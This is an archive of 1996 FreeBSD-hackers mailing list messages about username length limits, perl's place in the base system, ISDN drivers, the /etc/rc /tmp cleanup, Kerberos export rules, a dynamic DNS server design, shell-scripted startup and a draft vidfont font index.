From owner-freebsd-hackers Sun Jun 23 00:01:37 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id AAA05294 for hackers-outgoing; Sun, 23 Jun 1996 00:01:37 -0700 (PDT) Received: from misery.sdf.com (misery.sdf.com [204.244.210.193]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id AAA05288 for ; Sun, 23 Jun 1996 00:01:35 -0700 (PDT) Received: from localhost (tom@localhost) by misery.sdf.com (8.7.5/8.6.12) with SMTP id AAA08379; Sun, 23 Jun 1996 00:09:45 -0700 (PDT) Date: Sun, 23 Jun 1996 00:09:43 -0700 (PDT) From: Tom Samplonius To: Stefan Arentz cc: freebsd-hackers@freebsd.org Subject: Re: Longer Logins... problems In-Reply-To: <199606230138.DAA19533@netscafe.rotterdam.luna.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Sun, 23 Jun 1996, Stefan Arentz wrote: > Hi, > > I'm migrating a web server from Solaris 2.4 to a FreeBSD 2.1.0-RELEASE box. We > user usernames <= 16 on Solaris, so I'm trying to change the limits in FreeBSD. > > Could someone who has done this before tell me if this is the right way to do > it? > > /usr/src/sys/sys/param.h -> #define MAXLOGNAME 20 > /usr/src/include/utmp.h -> #define UT_NAMESIZE 16 > > cd /usr/src/ > make libraries You probably shouln't increase MAXLOGNAME over 16. I think there may be some hidden depencies on 16 or less usernames in the kernel. You will also need to rebuild almost everything. Not just the libraries. If a program includes utmp.h it will need to re-compiled. This includes "w", "who", "last", "ftpd", etc The safest thing is to do a "make world" Tom From owner-freebsd-hackers Sun Jun 23 00:04:36 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id AAA05397 for hackers-outgoing; Sun, 23 Jun 1996 00:04:36 -0700 (PDT) Received: from mail.think.com (Mail1.Think.COM [131.239.33.245]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id AAA05388 for ; Sun, 23 Jun 1996 00:04:33 -0700 (PDT) Received: from Early-Bird-1.Think.COM by mail.think.com; Sun, 23 Jun 96 02:43:06 -0400 Received: from compound.Think.COM by Early-Bird.Think.COM; Sun, 23 Jun 96 03:04:24 EDT Received: (from alk@localhost) by compound.Think.COM (8.7.5/8.7.3) id CAA04519; Sun, 23 Jun 1996 02:06:50 -0500 (CDT) Date: Sun, 23 Jun 1996 02:06:50 -0500 (CDT) From: Tony Kimball Message-Id: <199606230706.CAA04519@compound.Think.COM> To: jkh@time.cdrom.com Cc: hackers@freefall.freebsd.org Subject: Re: cvs commit: src/etc/mtree BSD.usr.dist References: <199606222151.QAA02311@compound.Think.COM> <7625.835481530@time.cdrom.com> Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Quoth Jordan K. Hubbard on Sat, 22 June: : So here's the $10,000 question: Would your opinion be affected were : someone to upgrade perl4 to perl5 in our distribution? The quality of the monolith (as an instrument suitable to the uses of its audience at large) would be improved, but my opinion that the monolith should be made more recognizably and usefully modular and that one of those modular divisions should include perlN would not. Whether my argument on this particular is recieved well or ill (and I shall revisit it before this missive wimpers its conclusion), I hope that my larger point will not be lost, q.v. the subsequent: : We have a lot of languages in FreeBSD now. Perl, TCL, C, C++, : Objective-C (someday again), fortran, awk, sh - I'm probably even : missing one or two. Why? Because things change and evolve over time. This is not a religious issue for me, but an engineering issue. There will very likely be a point in the future where the modular structure which is appropriate today will no longer be appropriate. (For the reader unfamiliar with Thomas Kuhn's "The Structure of a Scientific Revolution", Kuhn first popularized the notion of a revolutionary change in scientific world-view as being the result of accumulated evidentiary pressure causing catastrophic collapse of obsolete, ossified, familiar, comfortable, and socially reinforced belief strucutures. "Paradigm shift" crept into managerial parlance shortly thereafter.) This will occur similarly to a Kuhnian "paradigm shift". Global design change is necessary and desirable for reasons both of technique *and* application. But, allow me to wax in rhetoric for a moment in order to make a point about global design... : It's no use saying "This is my line of death! No code shall cross : it!" because languges and operating systems and just about everything : else around us is constantly evolving and you might as well attempt to : stop the tide. Moderate, control the flow in useful ways, that's all : we can do. To the contrary: Useful moderation will make that stand precisely because the line is an important feature of the global design. The global design of the system can and will change when it is rationally justified. It must not change organically! If the system is left to evolve in response to independent, contradictory pressures of application, technique, and politics, it will no longer reap the harvest of intelligent global design. Consider evolutionary history versus creation history: Virtually all species in the history of naturalistic "Darwinian" evolution are extinct, and man will become one more of these in time, by any rational projection. But in the theocratic history of creation, man exists because man is created in the image of God, and his role in God's creation is dynamic, yes, but perfect at all times, in accordance with the intelligence of its design. Which of these plights would you choose for the creature of your design, FreeBSD? Given the active ongoing addition of core value to the project in violation of the layering division I have advocated, perhaps the revolution is already apace, and I am part of the hoary phlogiston contingent, about to be swept away on the tide of Daltonian theory. I don't think so, but the possibility exists. But even if so, and it is necessary and desirable that my arguments about the layering position of perl should fall on deaf ears, I do still hope (to switch metaphors in midstream) that God will care well for His image, and wreak upon it the transfiguration of Messianic salvation necessary to adapt the old creation to the environs of His heavenly Kingdom, rather than the vanishing competetive niche and eventual nullity of the australopithecus. Thus ends the sermon for today. Now, as regards where perl lives: Given the current entanglement of parts, the current situation suffers only one defect, and that is the tension between perl4 (small and dusty) and perl5 (bloated and shiny). Were it not for the fact that most people who care will end up with two perl installations, I would call it a tie. As it is, perl5 is a winner. But that current entanglement is not necessary. I am convinced by your argument that it is not really any longer suitable to excise perl from the core system so long as the core system is taken to include documentation (and hence makewhatis, catman, sgmlfmt), administrative and configuration tools (such as adduser, kbdmap, vidfont, spkrtest, keyinfo). I am still convinced that parts should be separated more cleanly and that a conscious decision should be made, in accordance with project goals and resources, as to what their dependencies should be. Let the core underly both man and admin modules. The remaining issues are: Which of the configuration tools enumerated should be moved into the core module; and, whether it is acceptable for the man module to depend upon the admin module. Since this is a natural modularization which is not anticipated to change forseeably, it is important not to allow additional dependencies to feep (unless other countervailing considerations exist, such as getting a big donor or losing miffed, quirky, marginally sane contributors). From owner-freebsd-hackers Sun Jun 23 01:02:14 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id BAA11060 for hackers-outgoing; Sun, 23 Jun 1996 01:02:14 -0700 (PDT) Received: from casparc.ppp.net (casparc.ppp.net [194.64.12.35]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id BAA11054 for ; Sun, 23 Jun 1996 01:02:09 -0700 (PDT) Received: from ernie by casparc.ppp.net with uucp (Smail3.1.28.1 #1) id m0uXk7Q-000Hz6C; Sun, 23 Jun 96 10:02 MET DST Received: by ernie.kts.org (Smail3.1.29.1 #4) id m0uXjzZ-00000CC; Sun, 23 Jun 96 09:53 MET DST Message-Id: From: hm@kts.org (Hellmuth Michaelis) Subject: Re: ISDN Support To: ovb@limmat.ch (Oliver von Bueren) Date: Sun, 23 Jun 1996 09:53:57 +0200 (MET DST) Cc: freebsd-hackers@FreeBSD.ORG In-Reply-To: <31cc3048.28275718@mail.limmat.ch> from "Oliver von Bueren" at Jun 22, 96 05:47:28 pm Organization: Kitchen Table Systems Reply-To: hm@kts.org X-Mailer: ELM [version 2.4 PL24] Content-Type: text Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > In FreeBSD 2.1.0-R, the included ISDN support is from the ii.0.1 archive. Are > there any plans to incorporate the newer version ii.0.2 into the next version of > FreeBSD? There is the bisdn ISDN package available from ftp.muc.ditec.de supporting FreeBSD 2.1R, FreeBSD-current and NetBSD. Currently all (passive) Teles cards and their clones are supported for the EuroISDN (DSS1) and 1TR6 protocols. The latest source can be found on the above mentioned ftp server under directory isdn as file bisdn-095.tar.gz. A majordomo maintained mailing list is available, to subscribe, send the usual majordomo requests to isdn-request@muc.ditec.de. hellmuth -- Hellmuth Michaelis hm@kts.org Hamburg, Europe (A)bort, (R)etry, (I)nstall BSD ? From owner-freebsd-hackers Sun Jun 23 01:51:24 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id BAA13708 for hackers-outgoing; Sun, 23 Jun 1996 01:51:24 -0700 (PDT) Received: from irz301.inf.tu-dresden.de (irz301.inf.tu-dresden.de [141.76.1.11]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id BAA13702 for ; Sun, 23 Jun 1996 01:51:20 -0700 (PDT) Received: from sax.sax.de by irz301.inf.tu-dresden.de (8.6.12/8.6.12-s1) with ESMTP id KAA00679 for ; Sun, 23 Jun 1996 10:51:18 +0200 Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id KAA02791 for freebsd-hackers@freebsd.org; Sun, 23 Jun 1996 10:51:17 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.7.5/8.6.9) id KAA02902 for freebsd-hackers@freebsd.org; Sun, 23 Jun 1996 10:48:03 +0200 (MET DST) From: J Wunsch Message-Id: <199606230848.KAA02902@uriah.heep.sax.de> Subject: Re: Cleaning of /tmp in /etc/rc To: freebsd-hackers@freebsd.org (FreeBSD hackers) Date: Sun, 23 Jun 1996 10:48:03 +0200 (MET DST) Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: from Tom Samplonius at "Jun 22, 96 12:57:19 pm" X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E X-Mailer: ELM [version 2.4ME+ PL17 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk As Tom Samplonius wrote: > > Does anybody know what the following is for? > > > > # prune quickly with one rm, then use find to clean up /tmp/[lq]* > > # (not needed with mfs /tmp, but doesn't hurt there...) > > (cd /tmp && rm -rf [a-km-pr-zA-Z]* && > > find -d . ! -name . ! -name lost+found ! -name quotas -exec rm -rf -- {} \;) > > It's supposed to delete everything in /tmp except lost+found and > quota.user and/or quota.group But you missed my second part. It does a lousy job in cleaning, and even fails to clean the .X*lock files (which it really should), it also fails to clean all other dot files -- so it's essentially useless. -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Sun Jun 23 02:50:35 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id CAA15714 for hackers-outgoing; Sun, 23 Jun 1996 02:50:35 -0700 (PDT) Received: from diablo.ppp.de (diablo.ppp.de [193.141.101.34]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id CAA15703 for ; Sun, 23 Jun 1996 02:50:32 -0700 (PDT) Received: from allegro.lemis.de by diablo.ppp.de with smtp (Smail3.1.28.1 #1) id m0uXloH-000Qb0C; Sun, 23 Jun 96 11:50 MET DST From: grog@lemis.de (Greg Lehey) Organisation: LEMIS, Schellnhausen 2, 36325 Feldatal, Germany Phone: +49-6637-919123 Fax: +49-6637-919122 Received: (grog@localhost) by allegro.lemis.de (8.6.9/8.6.9) id KAA07138; Sun, 23 Jun 1996 10:23:27 +0200 Message-Id: <199606230823.KAA07138@allegro.lemis.de> Subject: Re: ISDN Support To: roberte@beta.mep.ruhr-uni-bochum.de (Robert Eckardt) Date: Sun, 23 Jun 1996 10:23:27 +0200 (MET DST) Cc: isdn@muc.ditec.de (FreeBSD ISDN Distribution List), hackers@FreeBSD.ORG (FreeBSD Hackers) In-Reply-To: <199606222307.BAA19220@beta.mep.ruhr-uni-bochum.de> from "Robert Eckardt" at Jun 23, 96 01:07:08 am X-Mailer: ELM [version 2.4 PL23] MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Robert Eckardt writes: > >> Hi to all ISDN users. >> >> In FreeBSD 2.1.0-R, the included ISDN support is from the ii.0.1 archive. Are >> there any plans to incorporate the newer version ii.0.2 into the next version of >> FreeBSD? >> >> The mentioned source can be found on: >> ftp://ftp.uni-stuttgart.de/pub/comm/isdn/freebsd/ > > There is even a newer version in > ftp://ftp.muc.ditec.de/isdn > > It supports already the Teles.S0/16.3-Card. > But it's written for 2.2-current. > After some hacking I got it to work on 2.1-Release > and it works fine. (Thanks to the authors) The ii packet will not be developed further, and in all probability ii-0.2 will not be incorporated into the source tree. Instead, look for bisdn on the same site. You might also be interested in joining the ISDN mailing list, isdn@muc.ditec.de. To do so, send mail to bsd-isdn-request@muc.ditec.de with the text (not subject) "subscribe". Greg From owner-freebsd-hackers Sun Jun 23 05:25:59 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id FAA21801 for hackers-outgoing; Sun, 23 Jun 1996 05:25:59 -0700 (PDT) Received: from palmer.demon.co.uk (palmer.demon.co.uk [158.152.50.150]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id FAA21795 for ; Sun, 23 Jun 1996 05:25:53 -0700 (PDT) Received: from palmer.demon.co.uk (localhost [127.0.0.1]) by palmer.demon.co.uk (sendmail/PALMER-2) with ESMTP id NAA23770; Sun, 23 Jun 1996 13:03:34 +0100 (BST) To: "Michael L. VanLoon -- HeadCandy.com" cc: Michael Hancock , Bradley Dunn , hackers@freebsd.org From: "Gary Palmer" Subject: Re: Longer usernames? In-reply-to: Your message of "Sat, 22 Jun 1996 22:26:26 PDT." <199606230526.WAA12926@MindBender.HeadCandy.com> Date: Sun, 23 Jun 1996 13:03:32 +0100 Message-ID: <23768.835531412@palmer.demon.co.uk> Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Michael L. VanLoon -- HeadCandy.com" wrote in message ID <199606230526.WAA12926@MindBender.HeadCandy.com>: > >Can't touch it here -- ITAR. > > What's "ITAR"? How come you can't touch it? The very nice piece of US legislation which classes cryptography code as a munition and prevents export without a licence (which is probably very difficult to come by). What I will say is that eBones IS available outside the US, so doesn't fall under ITAR, and IS pretty much compatable with kerberos 4. Check ftp.internat.freebsd.org for FreeBSD versions of eBones which the rest of the world can use. Gary -- Gary Palmer FreeBSD Core Team Member FreeBSD: Turning PC's into workstations. See http://www.FreeBSD.ORG/ for info From owner-freebsd-hackers Sun Jun 23 06:24:47 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id GAA26937 for hackers-outgoing; Sun, 23 Jun 1996 06:24:47 -0700 (PDT) Received: from mexico.brainstorm.eu.org (root@mexico.brainstorm.eu.org [193.56.58.253]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id GAA26929 for ; Sun, 23 Jun 1996 06:24:42 -0700 (PDT) Received: from brasil.brainstorm.eu.org (brasil.brainstorm.eu.org [193.56.58.33]) by mexico.brainstorm.eu.org (8.7.5/8.7.3) with ESMTP id PAA04754; Sun, 23 Jun 1996 15:24:30 +0200 Received: (from uucp@localhost) by brasil.brainstorm.eu.org (8.6.12/8.6.12) with UUCP id PAA25806; Sun, 23 Jun 1996 15:04:44 +0200 Received: (from roberto@localhost) by keltia.freenix.fr (8.8.Alpha.4/keltia-uucp-2.8) id MAA00432; Sun, 23 Jun 1996 12:26:46 +0200 (MET DST) From: Ollivier Robert Message-Id: <199606231026.MAA00432@keltia.freenix.fr> Subject: Re: Longer usernames? To: michaelv@HeadCandy.com (Michael L. VanLoon -- HeadCandy.com) Date: Sun, 23 Jun 1996 12:26:45 +0200 (MET DST) Cc: freebsd-hackers@FreeBSD.ORG (FreeBSD Hackers' list) In-Reply-To: <199606230526.WAA12926@MindBender.HeadCandy.com> from "Michael L. VanLoon -- HeadCandy.com" at "Jun 22, 96 10:26:26 pm" X-Operating-System: FreeBSD 2.2-CURRENT ctm#2111 X-Mailer: ELM [version 2.4ME+ PL19 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk It seems that Michael L. VanLoon -- HeadCandy.com said: > Kerberos isn't tied to a specific form of encryption. It's been a > long time since I looked at the kerberos source, or tried to build it, > but I'm pretty sure you can plug in whatever encryption you want to > use without too much effort. And, basically that's for > authentication, anyway. Tickets are encrypted so it is not just for authentication. Kerberos IV is easy to get outside of USA because eBones exists. You can get eBones + libdes as in the foreign secure dists in South Africa but it is still Kerberos IV not V. There is no eBones for Kerberos V and Kerberos IV has been shown to be weak in some areas. -- Ollivier ROBERT -=- The daemon is FREE! -=- roberto@keltia.freenix.fr FreeBSD keltia.freenix.fr 2.2-CURRENT #11: Thu Jun 13 11:01:47 MET DST 1996 From owner-freebsd-hackers Sun Jun 23 06:43:00 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id GAA27672 for hackers-outgoing; Sun, 23 Jun 1996 06:43:00 -0700 (PDT) Received: from zed.ludd.luth.se (root@zed.ludd.luth.se [130.240.16.33]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id GAA27666 for ; Sun, 23 Jun 1996 06:42:57 -0700 (PDT) Received: from mother.ludd.luth.se (mother.ludd.luth.se [130.240.16.3]) by zed.ludd.luth.se (8.7.5/8.7.2) with ESMTP id PAA09100; Sun, 23 Jun 1996 15:42:41 +0200 Received: (pantzer@localhost) by mother.ludd.luth.se (8.6.11/8.6.11) id PAA06695; Sun, 23 Jun 1996 15:42:39 +0200 Date: Sun, 23 Jun 1996 15:42:39 +0200 (MET DST) From: Mattias Pantzare To: Michael Hancock cc: denis , freebsd-hackers@FreeBSD.ORG Subject: Re: Dynamically Allocatable Name Service (DANS) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > I want to write a name server with dynamical updates and all > > binary database. (Actually I'm writing it) I know, that there is > > dynamical updates support in the existing BIND distribution, but > > it seems to me like fixing a rocket motor to the bike. > > What binary database has enough performance to handle names on the > Internet? I don't think even db will do. And textfiles would be faster?? It is a lot faster with a binary database. Imagine rewriting the textfile every time a change is made. It is not like the database is supposed to hold all the names on the Internet. From owner-freebsd-hackers Sun Jun 23 07:47:09 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id HAA00781 for hackers-outgoing; Sun, 23 Jun 1996 07:47:09 -0700 (PDT) Received: from parkplace.cet.co.jp (parkplace.cet.co.jp [202.32.64.1]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id HAA00767 for ; Sun, 23 Jun 1996 07:47:05 -0700 (PDT) Received: from localhost (michaelh@localhost) by parkplace.cet.co.jp (8.7.5/CET-v2.1) with SMTP id XAA28918; Sun, 23 Jun 1996 23:46:37 +0900 (JST) Date: Sun, 23 Jun 1996 23:46:37 +0900 (JST) From: Michael Hancock To: Mattias Pantzare cc: denis , freebsd-hackers@FreeBSD.ORG Subject: Re: Dynamically Allocatable Name Service (DANS) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Sun, 23 Jun 1996, Mattias Pantzare wrote: > > > I want to write a name server with dynamical updates and all > > > binary database. (Actually I'm writing it) I know, that there is > > > dynamical updates support in the existing BIND distribution, but > > > it seems to me like fixing a rocket motor to the bike. > > > > What binary database has enough performance to handle names on the > > Internet? I don't think even db will do. > > And textfiles would be faster?? It is a lot faster with a binary > database. Imagine rewriting the textfile every time a change is made. Who said anything about textfiles? The author claims that his work is a rocket and BIND is a bike. I want to know why? I'd like to hear how he plans to handle servicing dynamic updates and name requests with the performance required. BIND once initialized operates entirely in RAM and the service has high performance requirements that are hard to meet even with a static database. I'm not trying to discourage the author, BIG claims just need to backed up with more substance. > It is not like the database is supposed to hold all the names on the > Internet. > From owner-freebsd-hackers Sun Jun 23 08:18:43 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id IAA02351 for hackers-outgoing; Sun, 23 Jun 1996 08:18:43 -0700 (PDT) Received: from zed.ludd.luth.se (root@zed.ludd.luth.se [130.240.16.33]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id IAA02341 for ; Sun, 23 Jun 1996 08:18:37 -0700 (PDT) Received: from mother.ludd.luth.se (mother.ludd.luth.se [130.240.16.3]) by zed.ludd.luth.se (8.7.5/8.7.2) with ESMTP id RAA10196; Sun, 23 Jun 1996 17:18:17 +0200 Received: (pantzer@localhost) by mother.ludd.luth.se (8.6.11/8.6.11) id RAA07110; Sun, 23 Jun 1996 17:18:16 +0200 Date: Sun, 23 Jun 1996 17:18:15 +0200 (MET DST) From: Mattias Pantzare To: Michael Hancock cc: denis , freebsd-hackers@FreeBSD.ORG Subject: Re: Dynamically Allocatable Name Service (DANS) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Sun, 23 Jun 1996, Michael Hancock wrote: > Who said anything about textfiles? The author claims that his work is a > rocket and BIND is a bike. I want to know why? > > I'd like to hear how he plans to handle servicing dynamic updates and name > requests with the performance required. BIND once initialized operates > entirely in RAM and the service has high performance requirements that are > hard to meet even with a static database. I think that you are missing the point. What he is doing is to store the names that the nameserver provides to other servers in a database instead of in a textfile. Not to do the name caching on disk. The whole binary database can be cached in RAM. If the names it is serving is to be uptdated automaticly, by software, a binary database will be faster. (for example if a computer is connected to the network and given an IP adress from a DHCP server, but provides it's name) From owner-freebsd-hackers Sun Jun 23 09:00:43 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id JAA04726 for hackers-outgoing; Sun, 23 Jun 1996 09:00:43 -0700 (PDT) Received: from mole.mole.org (marmot.mole.org [204.216.57.191]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id JAA04721 for ; Sun, 23 Jun 1996 09:00:40 -0700 (PDT) Received: (from mail@localhost) by mole.mole.org (8.6.12/8.6.12) id PAA06376; Sun, 23 Jun 1996 15:59:15 GMT Received: from meerkat.mole.org(206.197.192.110) by mole.mole.org via smap (V1.3) id sma006374; Sun Jun 23 15:59:10 1996 Received: (from mrm@localhost) by meerkat.mole.org (8.6.11/8.6.9) id IAA06629; Sun, 23 Jun 1996 08:59:09 -0700 Date: Sun, 23 Jun 1996 08:59:09 -0700 From: "M.R.Murphy" Message-Id: <199606231559.IAA06629@meerkat.mole.org> To: alk@Think.COM, terry@lambert.org Subject: Re: cvs commit: src/etc/mtree BSD.usr.dist Cc: hackers@freefall.freebsd.org, phk@FreeBSD.org Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk > I'd go further; /bin/sh is evil, as are any other scripting systems > where it's possible to have the data embedded in the script instead > of operated on by a tool. The only reason I don't call for its > removal is that the installation and the system startup (incorrectly) > depend on it, and /bin/csh is more evil. As the default system shell, > it has to be there, but that makes it no less annoying. Look at > the /etc/rc* mess that /bin/sh has gotten us into because it was > more convenient than Doing Things The Right Way. 8-(. Not using scripting languages makes the system behave exactly as the developers intended and makes it more difficult for consumers to modify the system to meet their own needs. If that's the goal, go for it. System startup does not incorrectly depend upon a scripted shell. It is _designed_ to used a scripted shell. It's not just an accident or matter of expediency. That it is /bin/sh is immaterial. I'll agree that /bin/csh is inappropriate, but a working /bin/sh or Plan 9 rc is just fine. Implementation of policy for seldom invoked activity in editable script is a Fine Thing Indeed. Is /etc/rc kludged a wee tad? Sure. If I feel like replacing it with a System V like init.d driven startup, that's my choice. So is installing a System V like init and inittab. "Doing Things The Right Way" is, of course, a matter of perspective. -- Mike Murphy mrm@Mole.ORG +1 619 598 5874 Better is the enemy of Good From owner-freebsd-hackers Sun Jun 23 09:20:37 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id JAA06176 for hackers-outgoing; Sun, 23 Jun 1996 09:20:37 -0700 (PDT) Received: from mole.mole.org (marmot.mole.org [204.216.57.191]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id JAA06169 for ; Sun, 23 Jun 1996 09:20:34 -0700 (PDT) Received: (from mail@localhost) by mole.mole.org (8.6.12/8.6.12) id QAA06472; Sun, 23 Jun 1996 16:19:15 GMT Received: from meerkat.mole.org(206.197.192.110) by mole.mole.org via smap (V1.3) id sma006469; Sun Jun 23 16:19:00 1996 Received: (from mrm@localhost) by meerkat.mole.org (8.6.11/8.6.9) id JAA06661; Sun, 23 Jun 1996 09:19:00 -0700 Date: Sun, 23 Jun 1996 09:19:00 -0700 From: "M.R.Murphy" Message-Id: <199606231619.JAA06661@meerkat.mole.org> To: terry@lambert.org Subject: Re: cvs commit: src/etc/mtree BSD.usr.dist Cc: hackers@freebsd.org Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > > The problem I have with scripting will continue to be a problem until > the /etc/rc* data embedding mess goes away so I can upgrade a system > by overwriting everything but "/var/conf", or a similar directory, > and by leaving the /home partition alone, with nothing else sacred. > Your problem with scripting may not be _MY_ problem with scripting. That's why scripting is a good thing. ;-) It lets each of us tailor the behavior of a system as may be required for our own use without having it be a major hassle. Minor hassle to be sure, but not major, mostly. I don't have a /home partition. Other folks do it a different way. Some people like tomatoes. It would be presumptuous of me to dictate to them how they should configure their systems. For me to suggest that a cleanup of /etc/rc* would be a bad thing would be pretty silly on my part. I get to clean it up each time I put in a production system. I get to clean up permissions and ownership each time, too, and strip out cruft and insert what I deem to be of hrrrumph critical importance. For the systems that I'm just dinking with what the FreeBSD team have put together, I'm either happy or resigned to leaving it the way they wanted, depending on my mood. They've done a really good job, especially considering the loosely-coupled development environment. It's damned amazing! However, I'd consider anything that makes it very much harder for me to make it the way I want it to be to be pretty much ill-conceived. Regards, Mike -- Mike Murphy mrm@Mole.ORG +1 619 598 5874 Better is the enemy of Good From owner-freebsd-hackers Sun Jun 23 09:40:47 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id JAA07451 for hackers-outgoing; Sun, 23 Jun 1996 09:40:47 -0700 (PDT) Received: from seagull.rtd.com (root@seagull.rtd.com [198.102.68.2]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id JAA07439 for ; Sun, 23 Jun 1996 09:40:42 -0700 (PDT) Received: (from dgy@localhost) by seagull.rtd.com (8.7.5/1.2) id JAA16712 for freebsd-hackers@freefall.cdrom.com; Sun, 23 Jun 1996 09:40:31 -0700 (MST) From: Don Yuniskis Message-Id: <199606231640.JAA16712@seagull.rtd.com> Subject: INDEX.fonts To: freebsd-hackers@freefall.FreeBSD.org (FreeBSD hackers) Date: Sun, 23 Jun 1996 09:40:30 -0700 (MST) X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Greetings! This wasn't present in 2.1R but provisions for it were there. I don't know if it's been created for -stable yet or even discarded. It's a bogus little database for vidfont(1). My apologies for the descriptions of the iso-* cp866 and koi8-* fonts... I asked but noone seemed to be able to give me a definitive description of them :-( Also, the "FreeBSD 2.1R " preface in each description derives from the fact that my system has an assortment of fonts -- this helps me keep track (in vidfont) of which is which. Could someone review it and possibly commit it? Or, discard it as a waste of time??? :> Thanx, --don ---------------8<-----------------8<------------------8<--------------- # This is the syscons font description file. # It should be installed as /usr/share/syscons/fonts/INDEX.fonts # Blank lines are ignored # Comments are introduced with `#'. # Entries are of the form: # :[]: # where: # ::= de | en | fr | it | nl | sv # ::= [,] # The is interpreted relative to /usr/share/syscons/fonts. # If is omitted, the current language is assumed. # If is omitted, is used. # The fonts supplied with the stock FreeBSD 2.1R distribution cp437-8x14.fnt::FreeBSD 2.1R English code page, 43 line cp437-8x16.fnt::FreeBSD 2.1R English code page, 25 line cp437-8x8.fnt::FreeBSD 2.1R English code page, 50 line cp437-thin-8x16.fnt::FreeBSD 2.1R English code page, lite, 25 line cp437-thin-8x8.fnt::FreeBSD 2.1R English code page, lite, 50 line cp850-8x14.fnt::FreeBSD 2.1R Latin I code page, 43 line cp850-8x16.fnt::FreeBSD 2.1R Latin I code page, 25 line cp850-8x8.fnt::FreeBSD 2.1R Latin I code page, 50 line cp850-thin-8x16.fnt::FreeBSD 2.1R Latin I code page, lite, 25 line cp850-thin-8x8.fnt::FreeBSD 2.1R Latin I code page, lite, 50 line cp865-8x14.fnt::FreeBSD 2.1R Nordic code page, 43 line cp865-8x16.fnt::FreeBSD 2.1R Nordic code page, 25 line cp865-8x8.fnt::FreeBSD 2.1R Nordic code page, 50 line cp865-thin-8x16.fnt::FreeBSD 2.1R Nordic code page, lite, 25 line cp865-thin-8x8.fnt::FreeBSD 2.1R Nordic code page, lite, 50 line cp866-8x14.fnt::FreeBSD 2.1R XXX code page, 43 line cp866-8x16.fnt::FreeBSD 2.1R XXX code page, 25 line cp866-8x8.fnt::FreeBSD 2.1R XXX code page, 50 line cp866b-8x16.fnt::FreeBSD 2.1R XXX code page, alternative b, 25 line cp866c-8x16.fnt::FreeBSD 2.1R XXX code page, alternative c, 25 line iso-8x14.fnt::FreeBSD 2.1R ISO8859-1, 43 line iso-8x16.fnt::FreeBSD 2.1R ISO8859-1, 25 line iso-8x8.fnt::FreeBSD 2.1R ISO8859-1, 50 line iso-thin-8x16.fnt::FreeBSD 2.1R 